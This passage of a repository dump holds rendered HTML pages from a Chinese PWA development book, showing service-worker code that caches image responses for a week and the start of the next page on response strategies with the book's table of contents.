&#x5BF9;&#x56FE;&#x7247;&#x8D44;&#x6E90;&#x7F13;&#x5B58; 1 &#x661F;&#x671F;</span>\n    maxAgeSeconds<span class=\"token punctuation\">:</span> <span class=\"token number\">7</span> <span class=\"token operator\">*</span> <span class=\"token number\">24</span> <span class=\"token operator\">*</span> <span class=\"token number\">60</span> <span class=\"token operator\">*</span> <span class=\"token number\">60</span>\n  <span class=\"token punctuation\">}</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\nrouter<span class=\"token punctuation\">.</span><span class=\"token function\">registerRoute</span><span class=\"token punctuation\">(</span><span class=\"token regex\">/\\.(jpe?g|png)$/</span><span class=\"token punctuation\">,</span> <span class=\"token keyword\">async</span> <span class=\"token parameter\">request</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token comment\">// &#x4F18;&#x5148;&#x8BFB;&#x53D6;&#x672C;&#x5730;&#x7F13;&#x5B58;&#x4E2D;&#x7684;&#x56FE;&#x7247;</span>\n  <span class=\"token comment\">// &#x5982;&#x679C;&#x672C;&#x5730;&#x65E0;&#x7F13;&#x5B58;&#x56FE;&#x7247;/&#x7F13;&#x5B58;&#x8FC7;&#x671F;/&#x8BFB;&#x53D6;&#x7F13;&#x5B58;&#x51FA;&#x9519;&#xFF0C;&#x5219; response &#x4E3A;&#x7A7A;</span>\n  <span class=\"token keyword\">let</span> response <span class=\"token operator\">=</span> <span class=\"token keyword\">await</span> cacheWrapper<span class=\"token punctuation\">.</span><span class=\"token function\">get</span><span class=\"token punctuation\">(</span>request<span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span><span class=\"token function\">catch</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n  <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>response<span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token keyword\">return</span> response\n  <span class=\"token punctuation\">}</span>\n  <span class=\"token comment\">// &#x5982;&#x679C;&#x672C;&#x5730;&#x5C1A;&#x672A;&#x7F13;&#x5B58;&#x6216;&#x8005;&#x7F13;&#x5B58;&#x8FC7;&#x671F;&#xFF0C;&#x5219;&#x53D1;&#x8D77;&#x7F51;&#x7EDC;&#x8BF7;&#x6C42;&#x83B7;&#x53D6;&#x6700;&#x65B0;&#x56FE;&#x7247;&#x8D44;&#x6E90;</span>\n  response <span class=\"token operator\">=</span> <span class=\"token keyword\">await</span> <span class=\"token function\">fetch</span><span class=\"token punctuation\">(</span>request<span class=\"token punctuation\">.</span><span class=\"token function\">clone</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n  <span class=\"token comment\">// &#x5982;&#x679C;&#x8BF7;&#x6C42;&#x6210;&#x529F;&#xFF0C;&#x5219;&#x66F4;&#x65B0;&#x7F13;&#x5B58;</span>\n  <span class=\"token comment\">// &#x66F4;&#x65B0;&#x7F13;&#x5B58;&#x8FC7;&#x7A0B;&#x65E0;&#x9700;&#x963B;&#x585E;&#x8FDB;&#x7A0B;</span>\n  <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>response<span class=\"token punctuation\">.</span>ok<span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    cacheWrapper<span class=\"token punctuation\">.</span><span class=\"token function\">set</span><span class=\"token punctuation\">(</span>request<span class=\"token punctuation\">,</span> response<span class=\"token punctuation\">.</span><span class=\"token function\">clone</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">}</span>\n  <span class=\"token comment\">// &#x8FD4;&#x56DE;&#x8D44;&#x6E90;</span>\n  <span class=\"token keyword\">return</span> response\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<p>&#x8D44;&#x6E90;&#x7BA1;&#x7406;&#x9664;&#x4E86;&#x4E0A;&#x9762;&#x6240;&#x6F14;&#x793A;&#x7684;&#x8FC7;&#x671F;&#x7BA1;&#x7406;&#x4E4B;&#x5916;&#xFF0C;&#x8FD8;&#x53EF;&#x4EE5;&#x5BF9;&#x67D0;&#x4E00;&#x7C7B;&#x8D44;&#x6E90;&#x9650;&#x5236;&#x5B58;&#x50A8;&#x7684;&#x6570;&#x91CF;&#xFF0C;&#x6BD4;&#x5982;&#x9650;&#x5236;&#x56FE;&#x7247;&#x6700;&#x591A;&#x7F13;&#x5B58; 10 &#x5F20;&#x7B49;&#x7B49;&#xFF0C;&#x8FD9;&#x4E9B;&#x7BA1;&#x7406;&#x65B9;&#x6848;&#x90FD;&#x53EF;&#x4EE5;&#x901A;&#x8FC7; Cache API &#x4E0E; IndexedDB &#x76F8;&#x7ED3;&#x5408;&#x7684;&#x65B9;&#x5F0F;&#x5B9E;&#x73B0;&#xFF0C;&#x5728;&#x8FD9;&#x91CC;&#x5C31;&#x4E0D;&#x4E00;&#x4E00;&#x505A;&#x6F14;&#x793A;&#x4E86;&#xFF0C;&#x8BFB;&#x8005;&#x53EF;&#x4EE5;&#x6839;&#x636E; CacheWrapper &#x7684;&#x601D;&#x8DEF;&#x8FDB;&#x884C;&#x76F8;&#x5173;&#x529F;&#x80FD;&#x7684;&#x5B9E;&#x73B0;&#x3002;</p>\n<footer class=\"page-footer-ex\"> <span class=\"page-footer-ex-copyright\"> Copyright &#xA9;2019 <a href=\"https://github.com/lavas-project\" target=\"_blank\">&#x767E;&#x5EA6; Web &#x751F;&#x6001;&#x56E2;&#x961F;</a> <br>   <a href=\"http://creativecommons.org/licenses/by-nc-nd/4.0/\" target=\"_blank\"><img src=\"https://i.creativecommons.org/l/by-nc-nd/4.0/80x15.png\" alt=\"&#x77E5;&#x8BC6;&#x5171;&#x4EAB;&#x8BB8;&#x53EF;&#x534F;&#x8BAE;\"></a> &#x672C;&#x4E66;&#x91C7;&#x7528; <a href=\"http://creativecommons.org/licenses/by-nc-nd/4.0/\" target=\"_blank\">&#x77E5;&#x8BC6;&#x5171;&#x4EAB;&#x7F72;&#x540D;-&#x975E;&#x5546;&#x4E1A;&#x6027;&#x4F7F;&#x7528; 4.0 &#x56FD;&#x9645;&#x8BB8;&#x53EF;&#x534F;&#x8BAE;</a> &#x8FDB;&#x884C;&#x8BB8;&#x53EF;&#x3002;<br>    &#x672C;&#x4E66;&#x4ECD;&#x5728;&#x52D8;&#x8BEF;&#x9636;&#x6BB5;&#xFF0C;&#x8BF7;&#x52FF;&#x4EE5;&#x4EFB;&#x4F55;&#x5F62;&#x5F0F;&#x79C1;&#x81EA;&#x4F20;&#x64AD;&#xFF0C;&#x6211;&#x4EEC;&#x4FDD;&#x7559;&#x5BF9;&#x672C;&#x4E66;&#x7684;&#x7248;&#x6743; </span> &#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; <span class=\"page-footer-ex-footer-update\"> &#x8BE5;&#x6587;&#x4EF6;&#x4FEE;&#x8BA2;&#x65F6;&#x95F4;&#xFF1A; 2019-06-19 18:37:42 </span> </footer>\n                                \n                                </section>\n                            \n    </div>\n    <div class=\"search-results\">\n        <div class=\"has-results\">\n            \n            <h1 class=\"search-results-title\"><span class='search-results-count'></span> results matching \"<span class='search-query'></span>\"</h1>\n            <ul class=\"search-results-list\"></ul>\n            \n        </div>\n        <div class=\"no-results\">\n            \n            <h1 class=\"search-results-title\">No results matching \"<span class='search-query'></span>\"</h1>\n            \n        </div>\n    </div>\n</div>\n\n                        </div>\n                    </div>\n                \n            </div>\n\n            \n                \n                <a href=\"1-fetch-event-management.html\" class=\"navigation navigation-prev \" aria-label=\"Previous page: 5.1 资源请求的拦截代理\">\n                    <i class=\"fa fa-angle-left\"></i>\n                </a>\n                \n                \n                <a href=\"3-respond-strategy.html\" class=\"navigation navigation-next \" aria-label=\"Next page: 5.3 资源请求响应策略\">\n                    <i class=\"fa fa-angle-right\"></i>\n                </a>\n                \n            \n        \n    </div>\n\n    <script>\n        var gitbook = gitbook || [];\n        gitbook.push(function() {\n            gitbook.page.hasChanged({\"page\":{\"title\":\"5.2 本地存储管理\",\"level\":\"1.6.2\",\"depth\":2,\"next\":{\"title\":\"5.3 资源请求响应策略\",\"level\":\"1.6.3\",\"depth\":2,\"path\":\"chapter05/3-respond-strategy.md\",\"ref\":\"chapter05/3-respond-strategy.md\",\"articles\":[]},\"previous\":{\"title\":\"5.1 资源请求的拦截代理\",\"level\":\"1.6.1\",\"depth\":2,\"path\":\"chapter05/1-fetch-event-management.md\",\"ref\":\"chapter05/1-fetch-event-management.md\",\"articles\":[]},\"dir\":\"ltr\"},\"config\":{\"plugins\":[\"-lunr\",\"-search\",\"anchors\",\"search-plus\",\"-livereload\",\"simple-page-toc\",\"prism\",\"prism-themes\",\"-highlight\",\"advanced-emoji\",\"include-codeblock\",\"-sharing\",\"sharing-plus\",\"ace\",\"emphasize\",\"splitter\",\"page-footer-ex\",\"expandable-chapters-small\",\"sectionx\",\"local-video\",\"anchor-navigation-ex\",\"favicon\",\"todo\",\"edit-link\",\"3-ba\",\"chart\",\"disqus\",\"github\"],\"root\":\".\",\"styles\":{\"website\":\"styles/website.css\",\"pdf\":\"styles/pdf.css\",\"epub\":\"styles/epub.css\",\"mobi\":\"styles/mobi.css\",\"ebook\":\"styles/ebook.css\",\"print\":\"styles/print.css\"},\"pluginsConfig\":{\"prism\":{\"css\":[\"prismjs/themes/prism-okaidia.css\"]},\"disqus\":{\"useIdentifier\":false,\"shortName\":\"lavas-project-github-io\"},\"emphasize\":{},\"ace\":{},\"github\":{\"url\":\"https://github.com/lavas-project/pwa-book\"},\"simple-page-toc\":{},\"todo\":{},\"page-footer-ex\":{\"copyright\":\"Copyright ©2019 [百度 Web 生态团队](https://github.com/lavas-project) <br/>   [![知识共享许可协议](https://i.creativecommons.org/l/by-nc-nd/4.0/80x15.png)](http://creativecommons.org/licenses/by-nc-nd/4.0/) 本书采用 [知识共享署名-非商业性使用 4.0 国际许可协议](http://creativecommons.org/licenses/by-nc-nd/4.0/) 进行许可。<br/>    本书仍在勘误阶段，请勿以任何形式私自传播，我们保留对本书的版权\",\"markdown\":true,\"update_format\":\"YYYY-MM-DD HH:mm:ss\",\"update_label\":\"该文件修订时间：\"},\"splitter\":{},\"sharing-plus\":{\"qq\":false,\"all\":[\"facebook\",\"google\",\"twitter\",\"instapaper\",\"linkedin\",\"pocket\",\"stumbleupon\"],\"douban\":false,\"facebook\":true,\"weibo\":false,\"instapaper\":false,\"whatsapp\":false,\"hatenaBookmark\":false,\"twitter\":true,\"messenger\":false,\"line\":false,\"vk\":false,\"pocket\":true,\"google\":false,\"viber\":false,\"stumbleupon\":false,\"qzone\":false,\"linkedin\":false},\"fontsettings\":{\"theme\":\"white\",\"family\":\"sans\",\"size\":2},\"sectionx\":{\"tag\":\"b\"},\"anchor-navigation-ex\":{\"mode\":\"float\",\"pageTop\":{\"level1Icon\":\"\",\"level2Icon\":\"\",\"level3Icon\":\"\",\"showLevelIcon\":false},\"isRewritePageTitle\":false,\"showLevel\":false,\"tocLevel1Icon\":\"fa fa-hand-o-right\",\"tocLevel2Icon\":\"fa fa-hand-o-right\",\"tocLevel3Icon\":\"fa fa-hand-o-right\",\"showGoTop\":true,\"printLog\":false,\"multipleH1\":true,\"associatedWithSummary\":true,\"float\":{\"floatIcon\":\"fa fa-navicon\",\"level1Icon\":\"\",\"level2Icon\":\"\",\"level3Icon\":\"\",\"showLevelIcon\":false}},\"favicon\":{\"shortcut\":\"favicon.ico\",\"bookmark\":\"favicon.ico\"},\"prism-themes\":{},\"3-ba\":{\"configuration\":\"auto\",\"token\":\"c45e843439f6364ead89fd505f1abb68\"},\"expandable-chapters-small\":{},\"local-video\":{},\"advanced-emoji\":{\"embedEmojis\":false},\"include-codeblock\":{\"check\":false,\"edit\":true,\"fixlang\":false,\"lang\":\"\",\"template\":\"ace\",\"theme\":\"chrome\",\"unindent\":true},\"sharing\":{\"qq\":false,\"all\":[\"facebook\",\"google\",\"twitter\",\"weibo\",\"instapaper\",\"linkedin\",\"pocket\",\"stumbleupon\",\"qq\",\"qzone\"],\"douban\":true,\"facebook\":false,\"weibo\":true,\"instapaper\":false,\"whatsapp\":false,\"hatenaBookmark\":false,\"twitter\":false,\"messenger\":false,\"line\":false,\"vk\":false,\"pocket\":false,\"google\":false,\"viber\":false,\"stumbleupon\":false,\"qzone\":false,\"linkedin\":true},\"terminal\":{\"copyButtons\":true,\"fade\":false,\"style\":\"flat\"},\"edit-link\":{\"label\":\"编辑此页\",\"base\":\"https://github.com/lavas-project/pwa-book/edit/master\"},\"theme-default\":{\"styles\":{\"website\":\"styles/website.css\",\"pdf\":\"styles/pdf.css\",\"epub\":\"styles/epub.css\",\"mobi\":\"styles/mobi.css\",\"ebook\":\"styles/ebook.css\",\"print\":\"styles/print.css\"},\"showLevel\":false},\"anchors\":{},\"chart\":{\"type\":\"c3\"},\"search-plus\":{}},\"theme\":\"default\",\"author\":\"lavas <lavas@baidu.com>\",\"pdf\":{\"pageNumbers\":true,\"fontSize\":12,\"fontFamily\":\"Arial\",\"paperSize\":\"a4\",\"chapterMark\":\"pagebreak\",\"pageBreaksBefore\":\"/\",\"margin\":{\"right\":62,\"left\":62,\"top\":56,\"bottom\":56}},\"structure\":{\"langs\":\"LANGS.md\",\"readme\":\"README.md\",\"glossary\":\"GLOSSARY.md\",\"summary\":\"SUMMARY.md\"},\"variables\":{},\"title\":\"PWA 应用实战\",\"language\":\"zh-hans\",\"gitbook\":\"3.2.3\",\"description\":\"PWA 开发实战\"},\"file\":{\"path\":\"chapter05/2-local-storage-management.md\",\"mtime\":\"2019-06-19T10:37:42.210Z\",\"type\":\"markdown\"},\"gitbook\":{\"version\":\"3.2.3\",\"time\":\"2019-06-19T10:40:03.787Z\"},\"basePath\":\"..\",\"book\":{\"language\":\"\"}});\n        });\n    </script>\n</div>\n\n        \n    <script src=\"../gitbook/gitbook.js\"></script>\n    <script src=\"../gitbook/theme.js\"></script>\n    \n        \n        <script src=\"../gitbook/gitbook-plugin-search-plus/jquery.mark.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-search-plus/search.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-sharing-plus/buttons.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-ace/ace/ace.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-ace/ace.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-splitter/splitter.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.js\"></script>\n        \n    \n        \n        <script src=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-sectionx/sectionx.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-local-video/video.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-edit-link/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-3-ba/plugin.js\"></script>\n        \n    \n        \n        <script src=\"https://cdnjs.cloudflare.com/ajax/libs/URI.js/1.16.1/URI.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-disqus/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-github/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-fontsettings/fontsettings.js\"></script>\n        \n    \n\n    </body>\n</html>\n\n"
  },
  {
    "path": "docs/chapter05/3-respond-strategy.html",
    "content": "\n<!DOCTYPE HTML>\n<html lang=\"zh-hans\" >\n    <head>\n        <meta charset=\"UTF-8\">\n        <meta content=\"text/html; charset=utf-8\" http-equiv=\"Content-Type\">\n        <title>5.3 资源请求响应策略 · PWA 应用实战</title>\n        <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\" />\n        <meta name=\"description\" content=\"\">\n        <meta name=\"generator\" content=\"GitBook 3.2.3\">\n        <meta name=\"author\" content=\"lavas <lavas@baidu.com>\">\n        \n        \n    \n    <link rel=\"stylesheet\" href=\"../gitbook/style.css\">\n\n    \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-anchors/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-search-plus/search.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-prism/prism-okaidia.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-advanced-emoji/emoji-website.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-ace/ace.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-emphasize/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-splitter/splitter.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-page-footer-ex/style/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-sectionx/sectionx.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-local-video/video-js.min.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-anchor-navigation-ex/style/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-disqus/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-fontsettings/website.css\">\n                \n            \n        \n\n    \n\n    \n        \n    \n        \n    \n        \n    \n        \n    \n        \n    \n        \n    \n\n        \n    \n    \n    \n    \n    <meta name=\"HandheldFriendly\" content=\"true\"/>\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, user-scalable=no\">\n    <meta name=\"apple-mobile-web-app-capable\" content=\"yes\">\n    <meta name=\"apple-mobile-web-app-status-bar-style\" content=\"black\">\n    <link rel=\"apple-touch-icon-precomposed\" sizes=\"152x152\" href=\"../gitbook/images/apple-touch-icon-precomposed-152.png\">\n    <link rel=\"shortcut icon\" href=\"../gitbook/images/favicon.ico\" type=\"image/x-icon\">\n\n    \n    <link rel=\"next\" href=\"4-precache.html\" />\n    \n    \n    <link rel=\"prev\" href=\"2-local-storage-management.html\" />\n    \n\n    \n    <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-chart/c3/c3.min.css\">\n    <script src=\"../gitbook/gitbook-plugin-chart/c3/d3.min.js\"></script>\n    <script src=\"../gitbook/gitbook-plugin-chart/c3/c3.min.js\"></script>\n    \n\n    \n        <link rel=\"shortcut icon\" href='../favicon.ico' type=\"image/x-icon\">\n    \n    \n        <link rel=\"bookmark\" href='../favicon.ico' type=\"image/x-icon\">\n    \n    \n    \n\n    </head>\n    <body>\n        \n<div class=\"book\">\n    <div class=\"book-summary\">\n        \n            \n<div id=\"book-search-input\" role=\"search\">\n    <input type=\"text\" placeholder=\"输入并搜索\" />\n</div>\n\n            \n                <nav role=\"navigation\">\n                \n\n\n<ul class=\"summary\">\n    \n    \n\n    \n\n    \n        \n        \n    \n        <li class=\"chapter \" data-level=\"1.1\" data-path=\"../\">\n            \n                <a href=\"../\">\n            \n                    \n                    HOME\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2\" data-path=\"../chapter01.html\">\n            \n                <a href=\"../chapter01.html\">\n            \n                    \n                    第1章 PWA 介绍\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.2.1\" data-path=\"../chapter01/1-how-was-pwa-born.html\">\n            \n                <a href=\"../chapter01/1-how-was-pwa-born.html\">\n            \n                    \n                    1.1 为什么会出现 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.2\" data-path=\"../chapter01/2-what-is-pwa.html\">\n            \n                <a href=\"../chapter01/2-what-is-pwa.html\">\n            \n                    \n                    1.2 什么是 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.3\" data-path=\"../chapter01/3-what-are-key-techs.html\">\n            \n                <a href=\"../chapter01/3-what-are-key-techs.html\">\n            \n                    \n                    1.3 PWA 的核心技术\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.4\" data-path=\"../chapter01/4-how-is-pwa-going.html\">\n            \n                <a href=\"../chapter01/4-how-is-pwa-going.html\">\n            \n                    \n                    1.4 PWA 的发展\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.5\" data-path=\"../chapter01/5-the-future-of-pwa.html\">\n            \n                <a href=\"../chapter01/5-the-future-of-pwa.html\">\n            \n                    \n                    1.5 PWA 的未来\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.6\" data-path=\"../chapter01/6-your-first-pwa.html\">\n            \n                <a href=\"../chapter01/6-your-first-pwa.html\">\n            \n                    \n                    1.6 你的第一个 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3\" data-path=\"../chapter02.html\">\n            \n                <a href=\"../chapter02.html\">\n            \n                    \n                    第2章 设计与体验\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.3.1\" data-path=\"../chapter02/1-what-is-good-ux.html\">\n            \n                <a href=\"../chapter02/1-what-is-good-ux.html\">\n            \n                    \n                    2.1 什么是好的用户体验\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.2\" data-path=\"../chapter02/2-design-and-tech.html\">\n            \n                <a href=\"../chapter02/2-design-and-tech.html\">\n            \n                    \n                    2.2 设计与技术\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.3\" data-path=\"../chapter02/3-app-shell.html\">\n            \n                <a href=\"../chapter02/3-app-shell.html\">\n            \n                    \n                    2.3 App Shell\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.4\" data-path=\"../chapter02/4-app-skeleton.html\">\n            \n                <a href=\"../chapter02/4-app-skeleton.html\">\n            \n                    \n                    2.4 骨架屏\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.5\" data-path=\"../chapter02/5-responsive-design.html\">\n            \n                <a href=\"../chapter02/5-responsive-design.html\">\n            \n                    \n                    2.5 响应式布局\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4\" data-path=\"../chapter03.html\">\n            \n                <a href=\"../chapter03.html\">\n            \n                    \n                    第3章 基础技术简介\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.4.1\" data-path=\"../chapter03/1-promise.html\">\n            \n                <a href=\"../chapter03/1-promise.html\">\n            \n                    \n                    3.1 Promise\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.2\" data-path=\"../chapter03/2-async-function.html\">\n            \n                <a href=\"../chapter03/2-async-function.html\">\n            \n                    \n                    3.2 Async 函数\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.3\" data-path=\"../chapter03/3-fetch-api.html\">\n            \n                <a href=\"../chapter03/3-fetch-api.html\">\n            \n                    \n                    3.3 Fetch API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.4\" data-path=\"../chapter03/4-cache-api.html\">\n            \n                <a href=\"../chapter03/4-cache-api.html\">\n            \n                    \n                    3.4 Cache API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.5\" data-path=\"../chapter03/5-indexeddb.html\">\n            \n                <a href=\"../chapter03/5-indexeddb.html\">\n            \n                    \n                    3.5 IndexedDB\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5\" data-path=\"../chapter04.html\">\n            \n                <a href=\"../chapter04.html\">\n            \n                    \n                    第4章 Service Worker\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.5.1\" data-path=\"../chapter04/1-service-worker-introduction.html\">\n            \n                <a href=\"../chapter04/1-service-worker-introduction.html\">\n            \n                    \n                    4.1 Service Worker 简介\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.2\" data-path=\"../chapter04/2-service-worker-register.html\">\n            \n                <a href=\"../chapter04/2-service-worker-register.html\">\n            \n                    \n                    4.2 Service Worker 注册\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.3\" data-path=\"../chapter04/3-service-worker-dive.html\">\n            \n                <a href=\"../chapter04/3-service-worker-dive.html\">\n            \n                    \n                    4.3 Service Worker 工作原理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.4\" data-path=\"../chapter04/4-service-worker-debug.html\">\n            \n                <a href=\"../chapter04/4-service-worker-debug.html\">\n            \n                    \n                    4.4 Service Worker 调试\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6\" data-path=\"../chapter05.html\">\n            \n                <a href=\"../chapter05.html\">\n            \n                    \n                    第5章 离线与缓存\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.6.1\" data-path=\"1-fetch-event-management.html\">\n            \n                <a href=\"1-fetch-event-management.html\">\n            \n                    \n                    5.1 资源请求的拦截代理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.2\" data-path=\"2-local-storage-management.html\">\n            \n                <a href=\"2-local-storage-management.html\">\n            \n                    \n                    5.2 本地存储管理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter active\" data-level=\"1.6.3\" data-path=\"3-respond-strategy.html\">\n            \n                <a href=\"3-respond-strategy.html\">\n            \n                    \n                    5.3 资源请求响应策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.4\" data-path=\"4-precache.html\">\n            \n                <a href=\"4-precache.html\">\n            \n                    \n                    5.4 预缓存方案\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.5\" data-path=\"5-workbox.html\">\n            \n                <a href=\"5-workbox.html\">\n            \n                    \n                    5.5 使用 Workbox\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7\" data-path=\"../chapter06.html\">\n            \n                <a href=\"../chapter06.html\">\n            \n                    \n                    第6章 用户留存\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.7.1\" data-path=\"../chapter06/1-manifest-json.html\">\n            \n                <a href=\"../chapter06/1-manifest-json.html\">\n            \n                    \n                    6.1 Web 应用清单\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.2\" data-path=\"../chapter06/2-credentials-api.html\">\n            \n                <a href=\"../chapter06/2-credentials-api.html\">\n            \n                    \n                    6.2 凭证管理 API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.3\" data-path=\"../chapter06/3-notification-api.html\">\n            \n                <a href=\"../chapter06/3-notification-api.html\">\n            \n                    \n                    6.3 桌面通知\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.4\" data-path=\"../chapter06/4-web-push-api.html\">\n            \n                <a href=\"../chapter06/4-web-push-api.html\">\n            \n                    \n                    6.4 网络推送\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.5\" data-path=\"../chapter06/5-payment-request-api.html\">\n            \n                <a href=\"../chapter06/5-payment-request-api.html\">\n            \n                    \n                    6.5 Payment Request API\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8\" data-path=\"../chapter07.html\">\n            \n                <a href=\"../chapter07.html\">\n            \n                    \n                    第7章 安全\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.8.1\" data-path=\"../chapter07/1-https.html\">\n            \n                <a href=\"../chapter07/1-https.html\">\n            \n                    \n                    7.1 使用 HTTPS 保护站点安全\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" 